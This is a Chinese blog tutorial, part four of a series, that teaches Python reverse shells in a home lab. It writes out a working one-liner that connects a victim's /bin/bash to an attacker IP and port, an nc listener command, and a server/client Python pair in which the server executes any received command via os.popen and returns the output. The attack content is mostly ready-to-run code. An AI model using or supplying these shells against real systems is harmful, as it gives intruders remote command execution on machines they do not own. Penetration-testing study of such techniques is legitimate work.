[ 隧道技术 ] 反弹shell的集中常见方式(四)python反弹shell
🍬 博主介绍
👨🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
文章目录
- 🍬 博主介绍
- 一、反弹shell的常用方式
- 二、Python介绍
- 三、Python反弹Shell介绍(建立socket通信)
- 1.详细讲解
- 四、实例讲解
- 1、环境
- 2、实验复现
- 1.攻击机采用nc监听
- 2.靶机执行连接命令
- 3.反弹shell成功
- 五、Socket通信是什么,又如何实现
- 1、简述socket原理
- 2、socket通信创建过程(以客户端为例)
- 1.创建Socket
- 2.连接到服务器
- 3.发送数据到服务器
- 4.从服务器接受数据
- 5.关闭socket
- 3、python 实现socket通信代码实例
- 1.准备脚本
- 2.服务端执行脚本(kali)
- 3.客户端执行脚本(windows)
- 4.服务器端脚本
- 5.客户端脚本
- 六、相关资源
- 1、相关文章
- 2、脚本下载
一、反弹shell的常用方式
Netcat反弹
Powercat反弹
Bash反弹
Python反弹
还有telnet反弹shell,Java反弹shell,php反弹shell等等的
其实各种反弹shell的方式都是大同小异的
这篇文章来探讨一下python反弹shell
二、Python介绍
Python由荷兰数学和计算机科学研究学会的吉多·范罗苏姆于1990年代初设计,作为一门叫做ABC语言的替代品。Python提供了高效的高级数据结构,还能简单有效地面向对象编程。Python语法和动态类型,以及解释型语言的本质,使它成为多数平台上写脚本和快速开发应用的编程语言,随着版本的不断更新和语言新功能的添加,逐渐被用于独立的、大型项目的开发。
三、Python反弹Shell介绍(建立socket通信)
python2、python3都行,我这里采用的python2
python2 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('攻击机ip',端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
1.详细讲解
看图吧,兄弟们,以前学习的时候都标记了颜色,这里直接截图算了
python -c “import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“攻击机器IP”,端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([”/bin/bash",“i”]);"
-c参数 " 代码 "
import socket,subprocess,os; 导入这几个库
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s=对象
s.connect((“攻击机器IP”,端口)); s连接攻击机器
os.dup2(s.fileno(),1); 控制
os.dup2(s.fileno(),2); 控制
p=subprocess.call([“/bin/bash”,“i”]); 把bash -i交互到攻击机IP 端口
四、实例讲解
1、环境
攻击机:本机windows:192.168.192.1
靶机:虚拟机kali:192.168.13.131
2、实验复现
1.攻击机采用nc监听
攻击机器使用nc执行监听命令
.\nc.exe -lvvp 55555
2.靶机执行连接命令
实验靶机执行连接命令
python2 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.192.1',55555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
3.反弹shell成功
五、Socket通信是什么,又如何实现
1、简述socket原理
socket又称套间字或者插口,是网络通信中必不可少的工具。有道是:“无socket,不网络”。由于socket最早在BSD Unix上使用,而Unix/Linux所奉为经典的至高哲学是“一切皆是文件”。因此socket在使用时也是完全符合这个哲学的,它涉及到listen()、bind()、accept()、write()/read()、close()等基本的类似于文件操作的功能函数。
上述Socket功能函数是从传输层协议TCP或者UDP中抽象出来的,一个基本的socket通信可以通过固定的功能函数实现。这里插一句,IP协议是工作在网络层的。
2、socket通信创建过程(以客户端为例)
1.创建Socket
涉及到的主要参数:domain、type、protocal。
domain是协议域,其中AF_INET->IPv4;AF_INET6->IPv6 。
type对应socket类型,SOCK_STREAM->TCP;SOCK_DGRAM->UDP。
protocol是IPPROTO_TCP,若传入0,则会根据第二个参数type,自动选择合适的参数。
2.连接到服务器
涉及到的主要参数:
客户端socket
指向数据结构socketaddr的指针,其中包括目的端口和IP地址
结构体数据长度
3.发送数据到服务器
涉及到的主要参数:
客户端socket
发送内容地址
发送内容长度
发送方式标志,一般为0
4.从服务器接受数据
涉及到的主要参数:
客户端socket
接受内容缓冲区地址
接受内容缓冲区长度
接受方式,0表示阻塞,必须等待服务器返回数据返回值,若成功,则返回读入的字节数,失败则 返回SOCKET_ERROR。
5.关闭socket
服务端直接断开就行
3、python 实现socket通信代码实例
1.准备脚本
脚本代码在后面
准备两个脚本,一个为服务端脚本,一个为客户端脚本
我在本机建立的,把服务端的脚本拖入kali,我都是放的桌面
2.服务端执行脚本(kali)
python3 /root/Desktop/server.py
服务端执行脚本后显示准备连接中
3.客户端执行脚本(windows)
python C:\路径\client.py
客户端执行脚本直接连接成功,我们就可以执行任意命令了
客户端执行脚本后服务端显示连接成功
4.服务器端脚本
f#-*- coding: utf-8 -*-
from socket import *
import os
HOST=''
PORT=1122
BUFSIZ=1024
ADDR=(HOST, PORT)
sock=socket(AF_INET, SOCK_STREAM)
sock.bind(ADDR)
sock.listen(1)
STOP_CHAT=False
while not STOP_CHAT:
tcpClientSock, addr=sock.accept()
print('Listening.....')
while True:
try:
data=tcpClientSock.recv(BUFSIZ)
except:
tcpClientSock.close()
break
if not data:
break
STOP_CHAT=(data.decode('utf8').upper()=="QUIT")
if STOP_CHAT:
break
ME = os.popen(data.decode('utf8'))
os_result = ME.read()
print(os_result)
tcpClientSock.sendall(os_result.encode('utf8'))
tcpClientSock.close()
sock.close()
5.客户端脚本
#-*- coding: utf-8 -*-
import os,sys
from socket import *
class TcpClient:
HOST='192.168.13.131'
PORT=1122
BUFSIZ=2048
ADDR=(HOST, PORT)
def __init__(self):
self.client=socket(AF_INET, SOCK_STREAM)
self.client.connect(self.ADDR)
while True:
data=input('OS Shell >')
if not data:
break
self.client.send(data.encode('utf8'))
print('Execute %s:%s' %(self.HOST,data))
if data.upper()=="QUIT":
break
data=self.client.recv(self.BUFSIZ)
if not data:
break
print('Receive:%s' %(data.decode('utf8')))
if __name__ == '__main__':
client=TcpClient()
六、相关资源
1、相关文章
[ 隧道技术 ] 反弹shell的集中常见方式(一)nc反弹shell
[ 隧道技术 ] 反弹shell的集中常见方式(二)bash反弹shell
[ 隧道技术 ] 反弹shell的集中常见方式(三)powercat反弹shell
2、脚本下载
客户端脚本:
客户端脚本: